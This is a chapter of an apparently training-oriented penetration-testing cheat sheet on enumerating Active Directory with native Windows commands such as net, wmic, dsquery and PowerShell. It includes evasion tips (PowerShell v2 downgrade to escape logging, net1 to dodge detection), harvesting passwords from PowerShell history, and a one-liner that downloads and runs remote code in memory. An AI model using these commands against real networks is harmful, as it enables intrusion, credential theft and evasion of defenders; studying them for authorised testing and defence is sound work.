Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Living Off the Land

Techniques for AD enumeration using only native Windows tools and commands — no imported tools required. Useful when you cannot load tools onto a managed host, have no internet access, or need to stay stealthy. Native commands generate fewer logs and alerts compared to pulling offensive tools into the environment.

Host & Network Reconnaissance

Basic Enumeration Commands

CommandResult
hostnamePC name
[System.Environment]::OSVersion.VersionOS version and revision
wmic qfe get Caption,Description,HotFixID,InstalledOnPatches and hotfixes
ipconfig /allNetwork adapter config
setEnvironment variables (CMD)
echo %USERDOMAIN%Domain name (CMD)
echo %logonserver%Domain controller name (CMD)
systeminfoAll of the above in one command (fewer logs)

Network Enumeration

CommandPurpose
arp -aKnown hosts in ARP table — reveals local network hosts
ipconfig /allAdapter settings and network segment
route printRouting table — known networks and potential lateral movement paths
netsh advfirewall show allprofilesFirewall status for all profiles (Domain/Private/Public)

Networks in the routing table are potential lateral movement targets — they’re either actively used or administratively configured.

Check Who Else is Logged In

qwinsta

Always check before taking action — if another user notices unusual activity, they may report it or change their password.

PowerShell Techniques

Useful Cmdlets

CmdletPurpose
Get-ModuleList loaded modules (check for AD module, custom scripts)
Get-ExecutionPolicy -ListExecution policy per scope
Set-ExecutionPolicy Bypass -Scope ProcessBypass execution policy for current process only (reverts on exit)
Get-ChildItem Env: | ft Key,ValueEnvironment variables
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txtPowerShell command history (may contain passwords)
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL')"Download and execute from memory

PowerShell Downgrade for Evasion

PowerShell event logging (Script Block Logging) was introduced in PowerShell 3.0. Downgrading to version 2.0 disables logging for that session:

powershell.exe -version 2
Get-host   # Verify version shows 2.0

Caveats:

  • The command powershell.exe -version 2 itself is logged
  • After downgrade, no further Script Block Logging entries are created
  • A vigilant defender may notice logging gaps and investigate
  • Requires .NET Framework 2.0 to be installed on the host

Checking Defenses

Firewall Status

netsh advfirewall show allprofiles

Check the State field — ON or OFF for each profile (Domain, Private, Public).

Windows Defender

sc query windefend
Get-MpComputerStatus

Key fields: RealTimeProtectionEnabled, AntivirusEnabled, BehaviorMonitorEnabled, IsTamperProtected, scan schedules, signature age.

WMI (Windows Management Instrumentation)

Scripting engine for retrieving system info from local and remote hosts.

Useful WMI Commands

CommandPurpose
wmic qfe get Caption,Description,HotFixID,InstalledOnPatch level
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:ListHost info
wmic process list /format:listRunning processes
wmic ntdomain list /format:listDomain and DC info (includes trusts)
wmic useraccount list /format:listLocal and domain accounts that have logged in
wmic group list /format:listLocal groups
wmic sysaccount list /format:listSystem/service accounts

Domain and Trust Enumeration via WMI

wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress

Reveals the current domain, child domains, and external forest trusts with DC addresses.

Net Commands

Built-in commands for user, group, host, and share enumeration. Note: net.exe commands are commonly monitored by EDR — use with caution.

Evasion Tip

Use net1 instead of net — executes the same functions but may avoid string-based detection triggers:

net1 user /domain
net1 group /domain

Key Commands

CommandPurpose
net accounts /domainPassword and lockout policy
net user /domainAll domain users
net user <username> /domainSpecific user details
net group /domainAll domain groups
net group "Domain Admins" /domainDA members
net group "domain computers" /domainDomain-joined computers
net group "Domain Controllers" /domainDCs
net localgroupAll local groups
net localgroup administratorsLocal admin members
net shareCurrent shares
net viewList of domain computers
net view /domainShares on the domain
net view \\computer /ALLAll shares on a computer

Dsquery

Command-line tool for querying AD objects. Available on any host with AD Domain Services Role installed. The dsquery.dll exists on all modern Windows systems at C:\Windows\System32\dsquery.dll. Requires elevated privileges or SYSTEM context.

Basic Queries

dsquery user
dsquery computer
dsquery group
dsquery ou

Wildcard Search (List All Objects in an OU)

dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

LDAP Filter Queries

Users with PASSWD_NOTREQD Flag

dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

Find Domain Controllers

dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

LDAP OID Matching Rules

OIDRuleUse Case
1.2.840.113556.1.4.803Bitwise AND — all bits must matchMatch a single specific attribute
1.2.840.113556.1.4.804Bitwise OR — any bit matchMatch any of several attributes
1.2.840.113556.1.4.1941Chain match (LDAP_MATCHING_RULE_IN_CHAIN)Search through DN ownership/membership

LDAP Logical Operators

OperatorMeaningExample
&AND(&(objectClass=user)(adminCount=1))
|OR(|(objectClass=user)(objectClass=computer))
!NOT(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))

Common UAC Bitmask Values

DecimalHexAttribute
20x0002Account is disabled
80x0008Home directory required
160x0010Account locked out
320x0020Password not required
640x0040Password can’t change
5120x0200Normal account
81920x2000Server trust account (Domain Controller)
655360x10000Password doesn’t expire
41943040x400000Don’t require pre-auth (AS-REP roastable)
5242880x80000Trusted for delegation

Summary

ToolTypeBest For
systeminfoBuilt-inQuick host overview in one command
PowerShell cmdletsBuilt-inModule discovery, environment enum, history pillaging
PS downgrade (v2)EvasionBypass Script Block Logging
netsh / scBuilt-inFirewall and Defender status
WMI (wmic)Built-inDomain/trust/process/user enumeration
net / net1Built-inUser, group, share, policy enumeration
dsqueryBuilt-inLDAP-based AD queries with filter support
qwinstaBuilt-inCheck for other logged-in users
arp -a / route printBuilt-inNetwork discovery and lateral movement paths